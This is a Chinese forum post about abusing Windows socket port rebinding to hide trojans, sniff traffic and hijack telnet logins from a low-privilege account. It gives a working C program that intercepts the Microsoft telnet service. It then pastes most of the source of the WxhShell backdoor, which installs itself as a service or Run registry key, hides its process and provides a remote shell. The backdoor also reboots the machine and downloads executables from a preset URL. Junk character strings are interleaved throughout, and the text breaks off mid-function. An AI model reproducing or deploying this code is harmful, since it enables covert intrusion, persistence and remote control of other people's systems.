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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +R_s(2vz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mp(;PbVD  
w~3z) ;  
  saddr.sin_family = AF_INET; "5v^6R9e  
J&bMox  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :`c@&WF8  
f?TS#jG4}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); })j N 8px  
@ V_i%=go  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |d,bo/:  
n(.L=VuXn  
  这意味着什么?意味着可以进行如下的攻击: U,lO{J[T  
+1r><do;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TAq[g|N-;  
B%5"B} nG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `~D{]'j  
2Z?l,M~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $&Z<4:Flc  
$wbIe"|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y,K> Wb9e  
gYloY=.Z$'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gX| \O']6  
/]of @  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^a$L9p(  
Z*IW*f&0>1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >>cL"m  
xZ(d*/6E  
  #include xIH= gK  
  #include mC3:P5/c  
  #include R,fAl"wMu  
  #include    30<_`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GiKhdy  
  int main() S4rm K&  
  { ' Er\ 68  
  WORD wVersionRequested; _:FD#5BZ1  
  DWORD ret; Ua4P@#cU  
  WSADATA wsaData; Kw2]J)TO  
  BOOL val; P<;Puww/  
  SOCKADDR_IN saddr; EKS?3z%!  
  SOCKADDR_IN scaddr; etQS&YzC  
  int err; bP,Ka  
  SOCKET s; >qUD_U3A  
  SOCKET sc; /B|"<`-H  
  int caddsize; CAmIwAx6;  
  HANDLE mt; ff=RKKnN  
  DWORD tid;   xe9\5Gb}  
  wVersionRequested = MAKEWORD( 2, 2 ); x3F94+<n{  
  err = WSAStartup( wVersionRequested, &wsaData ); 7%G&=8tq  
  if ( err != 0 ) { u$X =2u:P  
  printf("error!WSAStartup failed!\n"); I}m>t}QRI_  
  return -1; h)aLq  
  } k=G c#SD5_  
  saddr.sin_family = AF_INET; nU0##  
   @H^\PH?pp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x=X&b%09  
r?dkE=B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bR$5G  
  saddr.sin_port = htons(23); D_G]WW8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gZ-:4G|J  
  { #B q|^:nj  
  printf("error!socket failed!\n"); G&`5o*).bb  
  return -1; C =B a|Z  
  } O&}R  
  val = TRUE; rDu?XJA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %d<UMbS^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LR'~:46#u  
  { ,Ek6X)|@  
  printf("error!setsockopt failed!\n"); WI.+9$1:P  
  return -1; %IDl+_j  
  } !& >LLZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'Mhnu2d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yv2L0bUo:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -y[y.#o  
"{3MXAFe  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;Wsl 'e/  
  { JvaHH!>d/  
  ret=GetLastError(); ]mjKF\  
  printf("error!bind failed!\n"); .'4@Yp{=  
  return -1; A7eYKo q  
  } [?(qhp!  
  listen(s,2); #a'CoJs   
  while(1)  v&7x ~!O  
  { _d+` Gw  
  caddsize = sizeof(scaddr); 9>ZX@1]m_  
  //接受连接请求 vV*/"'>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JeAyT48!M  
  if(sc!=INVALID_SOCKET) wRq f'  
  { :c`djM^ll  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XhN?E-WywQ  
  if(mt==NULL) {7q8@`Oa  
  { r5+ MjR  
  printf("Thread Creat Failed!\n"); %o`Cp64`Q  
  break; #qJ6iA6{  
  } +vPCr&40  
  } =#wE*6T9  
  CloseHandle(mt); T+FlN-iy)  
  } dEor+5}  
  closesocket(s); zm4e+v-  
  WSACleanup(); m`b:#z  
  return 0; ie7TO{W  
  }   /b6j<]H  
  DWORD WINAPI ClientThread(LPVOID lpParam) PWfd<Yf!  
  { BZjL\{IW  
  SOCKET ss = (SOCKET)lpParam; W 9bpKmc  
  SOCKET sc; 6)FM83zk)K  
  unsigned char buf[4096]; pBn;:  
  SOCKADDR_IN saddr; z5sKV7&\[n  
  long num; -qLNs_ _k  
  DWORD val; nE :Wl  
  DWORD ret; =,08D^xY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Tc|+:Usy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %;J$ h^  
  saddr.sin_family = AF_INET; N ]GF>kf:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1-R4A7+3  
  saddr.sin_port = htons(23); akwS;|SZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "IWL& cH3  
  { w"A>mEex<  
  printf("error!socket failed!\n"); "c![s%  
  return -1; 9Z3Vf[n5\  
  } W=2]!%3#  
  val = 100; ;)sC{ "Jb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H{_6e6`e.  
  { fvG4K(  
  ret = GetLastError(); L_!}R  
  return -1; : %U lNk  
  } w2K>k/v{-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6*I=% H|  
  { t3!~=U  
  ret = GetLastError(); ~$7YEs)  
  return -1; 59?$9}ob  
  } HLh]*tQG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^a#W|-:  
  { 4hn' b[  
  printf("error!socket connect failed!\n"); RVpo,;:  
  closesocket(sc); a!PN`N28  
  closesocket(ss); } OkK@8?0O  
  return -1; )1O|+m k  
  } ?Uhjyi  
  while(1) E clsOBg  
  { 3p'(E\VJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PW9tZx#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,rhNXx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %B| Ca&  
  num = recv(ss,buf,4096,0); V<d`.9*}  
  if(num>0) 'jKCAU5/0;  
  send(sc,buf,num,0); |;YDRI  
  else if(num==0) +V#dJ[,8;.  
  break; / 6DW+!  
  num = recv(sc,buf,4096,0); %y)LBSxf  
  if(num>0) 1\5po^Oioy  
  send(ss,buf,num,0); ZPHatC  
  else if(num==0) y"zZ9HQM  
  break; E FBvi  
  } cn'r BY  
  closesocket(ss); XZ/cREz^s  
  closesocket(sc); ^5-SL?E  
  return 0 ; *bi;mQ  
  } (T",6xBSG  
iF"kR]ZL  
FXid=&T@0D  
========================================================== i"{znKz vD  
>}86#^F  
下边附上一个代码,,WXhSHELL J z-RMX=  
&3P"l.j  
========================================================== hP jL  
~e+pa|lO  
#include "stdafx.h" EsLtC5]  
`L.nj6F  
#include <stdio.h> Sqla+L*  
#include <string.h> y"ms;w'z  
#include <windows.h> OL623jQX  
#include <winsock2.h> 1c$c e+n~  
#include <winsvc.h> ~JOC8dO  
#include <urlmon.h> Wk]E6yz6  
Bo/i =/7%  
#pragma comment (lib, "Ws2_32.lib") @u8kNXT;h  
#pragma comment (lib, "urlmon.lib") %v]-:5g'|  
' h|d-p\`9  
#define MAX_USER   100 // 最大客户端连接数 =%+xNOdN7?  
#define BUF_SOCK   200 // sock buffer L#/<y{  
#define KEY_BUFF   255 // 输入 buffer ,*;g+[Bhpl  
~&+8m=   
#define REBOOT     0   // 重启 4TaHS!9  
#define SHUTDOWN   1   // 关机 szy2"~hm  
Kp/l2?J"  
#define DEF_PORT   5000 // 监听端口 {JW_ZJx  
]?hlpL  
#define REG_LEN     16   // 注册表键长度 Vc "+|^  
#define SVC_LEN     80   // NT服务名长度 -4S4I  
g"D:zK)  
// 从dll定义API  37|EG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  Kuh)3/7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 49 1 1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m>'#664q1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8*(|uX  
5+*CBG}  
// wxhshell配置信息 2Vg+Aly4D  
struct WSCFG { Gk<6+.c~  
  int ws_port;         // 监听端口 4pFoSs?\  
  char ws_passstr[REG_LEN]; // 口令 "%+9p6/  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6+yA4pRSd  
  char ws_regname[REG_LEN]; // 注册表键名 R%;dt<Dh  
  char ws_svcname[REG_LEN]; // 服务名 Q% J!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <GoZ>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tnw6[U!rh=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f_ > lz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c)17[9"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R9%"Kxm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `AhTER  
AJt4I W@  
}; O4,? C)  
NQ\<~a`Eq  
// default Wxhshell configuration :z+l=d:4  
struct WSCFG wscfg={DEF_PORT, 7]8apei|  
    "xuhuanlingzhe", (EOYJHZB!  
    1, vi0nJ -Xg  
    "Wxhshell", N`5 mPE  
    "Wxhshell", wmFS+F4`2  
            "WxhShell Service", {OW.^UIq^  
    "Wrsky Windows CmdShell Service", BE," lX  
    "Please Input Your Password: ", t8"yAYj  
  1, <VmEXJIk  
  "http://www.wrsky.com/wxhshell.exe", `qj24ehc  
  "Wxhshell.exe" c]/&xRd  
    }; +v|]RgyW)  
((]Sy,rdk  
// 消息定义模块 &+8cI^ kp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'V:ah3 8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e>$E67h<~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FeuqqZ\=&  
char *msg_ws_ext="\n\rExit."; <0H^2ekd  
char *msg_ws_end="\n\rQuit."; b'G!)n  
char *msg_ws_boot="\n\rReboot..."; 6 Y}Bza  
char *msg_ws_poff="\n\rShutdown..."; etH]-S  
char *msg_ws_down="\n\rSave to "; 7.C~ OrGR  
(/Dr=D{ `  
char *msg_ws_err="\n\rErr!"; SR { KL#NC  
char *msg_ws_ok="\n\rOK!"; Bl v @u?  
LW+^m6O  
char ExeFile[MAX_PATH]; hN.{H:skL)  
int nUser = 0; lNqF@eCT9  
HANDLE handles[MAX_USER]; CWM_J9f  
int OsIsNt; wnbKUlb  
|j7{zsH  
SERVICE_STATUS       serviceStatus; 0uf)6(f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0-zIohSJdQ  
_9"%;:t  
// 函数声明 $oH?7sj  
int Install(void); +:m'  
int Uninstall(void); ?h'd\.j{  
int DownloadFile(char *sURL, SOCKET wsh); FFID<L f/2  
int Boot(int flag); <I^Tug\M+  
void HideProc(void); _w49@9?  
int GetOsVer(void); b)@b63P_  
int Wxhshell(SOCKET wsl); W= $, \D+  
void TalkWithClient(void *cs); r7n-Xe  
int CmdShell(SOCKET sock); DbvKpM H  
int StartFromService(void); _0qp!-l}  
int StartWxhshell(LPSTR lpCmdLine); DsF<P@O6  
ffS]%qa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y'2 |GJc2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fs;_z9ej-u  
yX|0 R H  
// 数据结构和表定义 /FA0(< -}  
SERVICE_TABLE_ENTRY DispatchTable[] = KJN{p~Q  
{ ER*Et+ >  
{wscfg.ws_svcname, NTServiceMain}, `'M}.q,k~  
{NULL, NULL} S%k](\7!  
}; 8zk?:?8%{  
B&c*KaK;~  
// 自我安装 44(l1xEN+  
int Install(void) \*6Ld %:h$  
{ :sXn*k4v  
  char svExeFile[MAX_PATH]; W\JwEb9Y  
  HKEY key; B]5G"4,  
  strcpy(svExeFile,ExeFile); 4Rev7Mc  
YCEdt>5PA  
// 如果是win9x系统,修改注册表设为自启动 <GRrw  
if(!OsIsNt) { MLn\ b0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^K n{L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @EzO bE{  
  RegCloseKey(key); AH#klYK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T_*R^Ukb5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $oU40HA)W]  
  RegCloseKey(key); {9*k \d/;  
  return 0; UFY_.N~  
    } 7Q3a0`Iq  
  } Fb9!x/$tGV  
} x6={)tj  
else { !`?*zf  
6l-V% 3-  
// 如果是NT以上系统,安装为系统服务 Q7@.WG5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o$+"{3svw?  
if (schSCManager!=0) $M 1/74  
{ T`.RP&2/d  
  SC_HANDLE schService = CreateService or{X{_X7  
  ( @ 80Z@Pj  
  schSCManager, P n|*(sTl  
  wscfg.ws_svcname, beCTOmC  
  wscfg.ws_svcdisp, }qOj^pkJ  
  SERVICE_ALL_ACCESS, rkz_h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \<K@t=/ 6  
  SERVICE_AUTO_START, UN6Du\)]d  
  SERVICE_ERROR_NORMAL, ]Uee!-dZ  
  svExeFile, NRgNW1#  
  NULL, pv #uLo  
  NULL, }tRY,f  
  NULL, U$5 lh  
  NULL, WGeTL`}dh  
  NULL z}:|is)?  
  ); 1rmK#ld"=Z  
  if (schService!=0) vkQkU,q  
  { !R.*Vn[  
  CloseServiceHandle(schService); V"{+cPBO)  
  CloseServiceHandle(schSCManager); uNSbAw3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '8b/TL  
  strcat(svExeFile,wscfg.ws_svcname); 4PzCm k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5??\[C^"}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }- P ='AyL  
  RegCloseKey(key); /?wH1 ,  
  return 0; OPsg3pW!]  
    } =Vm"2g,aA  
  } T2^0Q9E?  
  CloseServiceHandle(schSCManager); ZW0gd7Wh  
} 43 h0i-%1  
} 8V$:th('  
,AO]4Ec  
return 1; (d2|r)O  
} RiX~YL eM  
%8a886;2  
// 自我卸载 #}Qzu~  
int Uninstall(void)  mOkf   
{  DlWnz-  
  HKEY key; P:gN"f6  
;P#c!  
if(!OsIsNt) { _b8?_Zq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5_MqpCL  
  RegDeleteValue(key,wscfg.ws_regname); M{ mdh\  
  RegCloseKey(key); E8=8OX/{Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u'BuZF  
  RegDeleteValue(key,wscfg.ws_regname); :"4Pr/}rT  
  RegCloseKey(key); "/&_B  
  return 0; |*+f N8  
  } ZFAi9M  
} ,@1.&!F4it  
} "+6:vhP5  
else { W+C@(}pt  
"V;5Lp b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }I1SC7gY  
if (schSCManager!=0) RS>;$O_(M  
{ v0yaFP#kG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @rO4BTi>O  
  if (schService!=0) NBUSr}8|  
  { _*I@ J/  
  if(DeleteService(schService)!=0) { Gw5j6  
  CloseServiceHandle(schService); !5;A.f  
  CloseServiceHandle(schSCManager); jeM/8~^4-  
  return 0; 5B lptC  
  } ^}gQh#  
  CloseServiceHandle(schService); m6 )sX&  
  } e /4{pe+,  
  CloseServiceHandle(schSCManager); c3>#.NP_  
} B4 cm_YGE  
} "|6#n34  
Wx<fD()  
return 1; ^" EsBt  
} KAucSd`  
j JxV)AIY  
// 从指定url下载文件 pS3TD"p  
int DownloadFile(char *sURL, SOCKET wsh) 8U5L |Ny.q  
{ l#W9J.q(  
  HRESULT hr; xsPE UK&g  
char seps[]= "/"; LyRU2A  
char *token; $cxulcay=  
char *file; ecoi4f  
char myURL[MAX_PATH]; i+2fWi6Z+  
char myFILE[MAX_PATH]; -xc*R%k  
sMq*X^z )?  
strcpy(myURL,sURL); ;!JI$_ -\  
  token=strtok(myURL,seps); S-^RZ"  
  while(token!=NULL) Ez*9*]O*+  
  { us2X:X)  
    file=token; 'n9<z)/,!  
  token=strtok(NULL,seps); a19yw]hF5  
  } Y 7a<3>  
VZ`L-P$AF  
GetCurrentDirectory(MAX_PATH,myFILE); I?l%RdGW  
strcat(myFILE, "\\"); Jv|uI1V  
strcat(myFILE, file); F3aOKV^  
  send(wsh,myFILE,strlen(myFILE),0); a5v}w7vL  
send(wsh,"...",3,0); TfD]`v`]   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aP%2CP~_P  
  if(hr==S_OK) rHir> p  
return 0; iG\ ]  
else c Bl F  
return 1; o Q!56\R  
D{]t50a.  
} &vf%E@<  
+wAH?q8f  
// 系统电源模块 v[r5!,F  
int Boot(int flag) Kd?TIeFE  
{ G\y:O9(  
  HANDLE hToken; &B</^:  
  TOKEN_PRIVILEGES tkp; S}/?L m}  
?Mb 'l4  
  if(OsIsNt) { 8b0!eB#_Ee  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); : "|M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1e 8J-Nkj  
    tkp.PrivilegeCount = 1; T+OQa+E@P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \,-t]$9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'w?*4H  
if(flag==REBOOT) { k* ayzg3F>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %6\e_y%  
  return 0; BI'}  
} `uO(#au,U  
else { G8w<^z>pTg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O>Vb7`z0<  
  return 0; U;Iqz1S  
} ^^u{W|'CaH  
  } hPs7mnSW  
  else { _B@=fY(g!  
if(flag==REBOOT) { g:l5,j.K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )%4%Uo_Xm  
  return 0; 6*] g)m  
} -R^OYgF  
else { Osb#<9{}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :u%Jrc (W  
  return 0; 4,8=0[eRG  
} kEH(\3,l  
} h|=<I)}z  
X=i^[?C  
return 1; e/pZLj]M  
} tevB2'3^  
PdUlwT? 8C  
// win9x进程隐藏模块 :x36^{7  
void HideProc(void)  p)5j~Nl  
{ p;[">["  
xWwQm'I2}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7oj ^(R,  
  if ( hKernel != NULL ) G:W4<w  
  { t% -"h|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %h)6o99{wF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <oweLRt  
    FreeLibrary(hKernel); BT|5"b}  
  } Q>jx`68'KI  
9] i$`y  
return; K.y2 $b/  
} ?#OGH`ZvkI  
pvCf4pf~  
// 获取操作系统版本 9~bl  
int GetOsVer(void) PGaB U3  
{ K%Dksx7ow  
  OSVERSIONINFO winfo; i+x$Y)=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G~SgI>Q  
  GetVersionEx(&winfo); [^rT: %Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X @;o<2^  
  return 1; 334UMH__  
  else Xz,-'  
  return 0; E\3fL"lM  
} !H,_*u.  
vdwh59W  
// 客户端句柄模块 av-l_iE  
int Wxhshell(SOCKET wsl) {s=n "*Qp)  
{ s:_M+_7_  
  SOCKET wsh; 6`/nA4S4.  
  struct sockaddr_in client; PNm WZW*  
  DWORD myID; Y<~N x~w{  
H3$~S '  
  while(nUser<MAX_USER) (AHZmi V  
{ (8M^|z}q  
  int nSize=sizeof(client); 8Iz-YG~%3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t<_Jx<{2  
  if(wsh==INVALID_SOCKET) return 1; _R&}CP  
!ke_?+ 8sY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l>l)m-;O  
if(handles[nUser]==0) aNZJs<3;'D  
  closesocket(wsh); yv.Y-c=  
else cY%[UK$l  
  nUser++; c\X0*GX  
  } 'dE G\?v9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q+A^JjzT  
?vHow$  
  return 0; 4>q^W$  
} tTWeOAF  
ya!RiHj  
// 关闭 socket %Pr P CT  
void CloseIt(SOCKET wsh) s[ {L.9Y  
{ mI55vNyer  
closesocket(wsh); ?{bF3Mz=  
nUser--; ( K5w0  
ExitThread(0); I\NiA>c  
} Q.5C$I  
gv&%2e}_  
// 客户端请求句柄 nZ;h&N -_-  
void TalkWithClient(void *cs) pEUbP,3M:  
{ ]<9=%m  
JNQiCK,)}M  
  SOCKET wsh=(SOCKET)cs; l `D>h2]  
  char pwd[SVC_LEN]; [kdt]+'+  
  char cmd[KEY_BUFF]; F-!,U)  
char chr[1]; 7qfo%n"  
int i,j; X!+#1NPM  
NGl/F{<  
  while (nUser < MAX_USER) { TW 2OT }  
MA\^<x_?L}  
if(wscfg.ws_passstr) { 71AR)6<R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <+MNv#1:w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |aH;@V  
  //ZeroMemory(pwd,KEY_BUFF); =@#[@Ia  
      i=0; %O 5 k+~9  
  while(i<SVC_LEN) { txF)R[dZK  
`;[ j`v8O  
  // 设置超时 @agW{%R:.  
  fd_set FdRead; uZsm=('ww  
  struct timeval TimeOut; UlBg6   
  FD_ZERO(&FdRead); s?;rP,{:p  
  FD_SET(wsh,&FdRead); b9M.p*!  
  TimeOut.tv_sec=8; 2o0.ttBAqZ  
  TimeOut.tv_usec=0; 0\ G`AO;D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V=<OV]0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pn)^mt  
HGuY-f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A;e[-5@  
  pwd=chr[0]; zCrDbGvqF`  
  if(chr[0]==0xd || chr[0]==0xa) { @@L@r6  
  pwd=0; (p1y/"Xh  
  break; ahagt9[,:F  
  } (!h%) _?.l  
  i++; sOc<'):TK  
    } 7U#`^Q}  
f_`gUMf  
  // 如果是非法用户,关闭 socket )9~1XiS,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OrX x0Hn  
} 7%p[n;-o&  
i ! wzID  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y'(bp=Nq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tw. 2h'D  
>QwZt  
while(1) { 1:-^*  
__U;fH{c  
  ZeroMemory(cmd,KEY_BUFF); F$ kLft[:  
TGnyN'P|  
      // 自动支持客户端 telnet标准   s>E u[ uA  
  j=0; auOYi<<>W  
  while(j<KEY_BUFF) { neQ2k=ao  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x`'2oz=,F4  
  cmd[j]=chr[0]; pWo`iM& F  
  if(chr[0]==0xa || chr[0]==0xd) { Wsb=SM7;  
  cmd[j]=0; 5oz[Njq4  
  break; )^+v*=Dc-i  
  } '}a[9v76  
  j++; }s;W{Q  
    } ># FO0R  
Lp\89tB>  
  // 下载文件 &]VCZQL  
  if(strstr(cmd,"http://")) { fM jn8.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S5eQHef  
  if(DownloadFile(cmd,wsh)) zx7*Bnu0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L@*0wx`fU  
  else b*4[)Yg4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F(E3U'G  
  } r!eCfV7  
  else { 9moenkL  
}8E//$J  
    switch(cmd[0]) { ^H'zS3S  
  Ro+/=*ql~  
  // 帮助 |]7z  
  case '?': { sY?pp '}a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); owA3>E5t&  
    break; ZoJ:4uo N`  
  } f o])=KM  
  // 安装 'U<-w$!f+^  
  case 'i': { {;4AdZk  
    if(Install()) ^FSUK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]JQk,<l5E  
    else Zf<M14iM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~__]E53F  
    break; y6KI.LWR9  
    } tN|sHgs  
  // 卸载 Y$3H$F.+  
  case 'r': { mq$mB1$3u  
    if(Uninstall()) CFJ F}aW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q|J3]F !n  
    else \XR%pC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4kO[|~#  
    break; oD,f5Ci-  
    } A3%s5`vNvH  
  // 显示 wxhshell 所在路径 =~YmM<L  
  case 'p': { 3=9yR* *  
    char svExeFile[MAX_PATH]; aK'`yuN  
    strcpy(svExeFile,"\n\r"); ]E90q/s@c  
      strcat(svExeFile,ExeFile); 84[T!cDk  
        send(wsh,svExeFile,strlen(svExeFile),0); T2# W=P  
    break; %-@`|  
    } Wt+aW  
  // 重启 L{$ZL&  
  case 'b': { >b;fhdd:4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E^S[8=  
    if(Boot(REBOOT)) jnFCt CB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B\&;eZY'G  
    else { Vm]ltiTVk  
    closesocket(wsh); P>%\pCJ])  
    ExitThread(0); S5ka;g  
    } Xz5 aTJ&  
    break; gP.Q_/V  
    } T{M~*5$  
  // 关机 DB'pRo+U  
  case 'd': { G.K3'^_  
